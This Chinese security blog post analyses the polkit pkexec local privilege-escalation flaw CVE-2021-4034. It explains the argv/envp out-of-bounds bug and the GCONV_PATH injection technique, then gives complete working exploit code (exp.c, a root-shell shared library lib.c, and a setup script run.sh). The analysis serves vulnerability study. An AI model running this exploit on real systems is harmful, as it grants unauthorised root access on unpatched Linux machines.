CVE-2021-4034分析

VSole2023-08-28 09:45:48
一
漏洞介绍

在 polkit 的 pkexec 工具中发现的本地权限升级漏洞,pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户按照预定义策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数个数,并试图将环境变量作为命令执行。攻击者可以利用这一点,精心设计环境变量,诱使 pkexec 执行任意代码。成功执行后,该攻击可导致本地权限升级,赋予未授权用户在目标计算机上的管理权限。

二
漏洞分析

polkit

漏洞代码(v0.120):

......
for (n = 1; n < (guint) argc; n++)
    {
         ......
    }
    ......
  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]);
    if (path == NULL)
    .....
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
    }

漏洞逻辑如下:

1.polkit在处理argv的时候,n是从1开始计数的,for循环结束后path变量被赋值为了g_strdup (argv[n]);,如果传递的参数个数为0(即argv={ NULL}),这里就会有一个数组越界。而众所周之,argv和envp是连着的:

所以数组越界会取到envp[0]的值并赋值给path

2.接下来如果path[0] != '/',程序就会调用函数g_find_program_in_path来找到path的路径,g_find_program_in_path会从环境变量PATH中寻找目录,并查看目录中有没有path文件,如果某个目录中有path文件就返回"目录名/文件名"。比如用户设置envp[0]为"sh",g_find_program_in_path就会从环境变量PATH中寻找目录,寻找到目录"/bin"的时候,发现目录下有文件"sh",此时g_find_program_in_path就会返回"/bin/sh"。

3.接下来程序会把得到的"路径/文件名"写回argv[n],同理如果argv={ NULL}程序就会把得到的值写到envp[0]中。

所以漏洞可以做到一个越界写,解析出envp[0]在环境变量PATH中的路径,并将"路径/envp[0]"写回envp[0]。

Linux下的目录

Linux下的目录中可以带有特殊符号,可以完成许多奇怪的操作,比如下面这个:

所以可以给目录起名叫做"TEST=.",也可以指定环境变量PATH="TEST=.",所以如果指定polkit的PATH="TEST=.",并在目录"TEST=."下新建文件"test",同时将envp[0]设置为test的话:

1.数组越界会取到"test"的值并赋值给path。

2.path[0] != '/',程序就会调用函数g_find_program_in_path找"test"的路径。

3.g_find_program_in_path函数从环境变量PATH中找到了目录"TEST=.",并在目录下找到了文件"test"。

4.g_find_program_in_path将"TEST=./test"返回,程序将"TEST=./test"写入envp[0]。

通过这个技巧,我们达到了利用数组越界漏洞完成环境变量注入的目的操作。

LD_PRELOAD&GCONV_PATH

要通过环境变量完成提权,最方便的就是劫持程序加载的libc,执行用户自己写的函数。

环境变量LD_PRELOAD就可以指定glibc的位置,使用户可以为某个二进制程序指定运行特定版本或者自己编译的libc,但是有SUID-bit的二进制程序在启动的时候不吃这个环境变量,那通过这个漏洞是不是可以将LD_PRELOAD注入polkit进程中进而劫持其glibc呢?很遗憾,在二进制程序正常运行的时候,glibc已经加载完成了,这时候指定LD_PRELOAD不会有任何作用。

所以要用到环境变量GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,而gconv-modules可以指定带有函数gconv()和gonv_init()的libc文件。在polkit源码中,多次使用了g_printerr函数进行报错,如果环境变量CHARSET不是UTF-8,g_printerr()将会调用函数iconv_open()来转换编码,此时iconv_open就会去根据环境变量GCONV_PATH寻找gconv-modules,并找到gconv-modules指定的libc文件,调用其中的gconv()与gonv_init()。

g_printerr()调用iconv_open()的路径为:

g_printerr
    -> g_default_printerr_func
        -> print_string
         -> strdup_convert
         	-> g_convert_with_fallback
         		-> g_convert
         			-> open_converter
         				-> g_iconv_open
         					-> try_conversion
         						-> iconv_open

gconv-modules格式如下:

module 字符集1// 字符集2// libc名字 cost

漏洞利用

当程序中shell的环境变量为无效shell时就会触发g_printerr的报错:

所以利用步骤为:

1.创建目录'GCONV_PATH=.'

2.在目录'GCONV_PATH=.'下创建文件pwnkitdir

3.创建目录'pwnkitdir'

4.在目录下创建文件gconv-modules,写入内容"module UTF-8// PWNKIT// pwnkit 1"

5.编写c代码,编写名为gconv_init()的提权函数或者编写带有__attribute__ ((constructor))修饰的提权函数,编译为pwnkit.so,放在gconv-modules同级目录

6.编写c代码,用来运行pkexec,将argv设为{ NULL},a_envp设置为

char * envp[] = {        "pwnkitdir",        "PATH=GCONV_PATH=.",        "CHARSET=PWNKIT",        "SHELL=xxx",        NULL};

并编译运行即可获得rootshell。

三
漏洞验证

exp.c:

#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp);
}

lib.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh:

mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

运行run.sh完成exp利用的前置环境搭建,切换为普通用户:

运行exp,完成提权。

环境变量linux环境变量
本作品采用《CC 协议》,转载必须注明作者和本文链接
Linux 环境变量配置汇总
disable_functionsdisable_functions是php.ini中的一个设置选项,可以用
Part1 前言 大家好,我是ABC_123,不知不觉,我一个人已经连续写了51篇原创文章了。本期复盘一次
本文介绍了 12 个优化 Docker 镜像安全性的技巧。每个技巧都解释了底层的攻击载体,以及一个或多个缓解方法。这些技巧包括了避免泄露构建密钥、以非 root 用户身份运行,或如何确保使用最新的依赖和更新等。
在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。
查命令绝对路径: which用于查找并显示给定命令的绝对路径,环境变量中PATH参数也可以被查出来。
虽然平时大部分工作都是和网络相关, 但会接触Linux系统, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行环境中. 自己记忆力不好, 很多有用的Linux命令不能很好的记忆, 现在逐渐总结一下, 以便后续查看。基本操作Linux 关机,重启#?查看当前用户环境变量。查看有几颗cpu,每颗分别是几核。
Linux比较麻烦的就是很多东西都要用命令来控制,当然,这也是很多人喜欢它的原因,比较短小但却功能强大。
腾讯云安全运营中心监测到, Linux Polkit 被曝出存在权限提升漏洞,漏洞编号CVE-2021-4034。可导致恶意用户权限提升等危害。
VSole
网络安全专家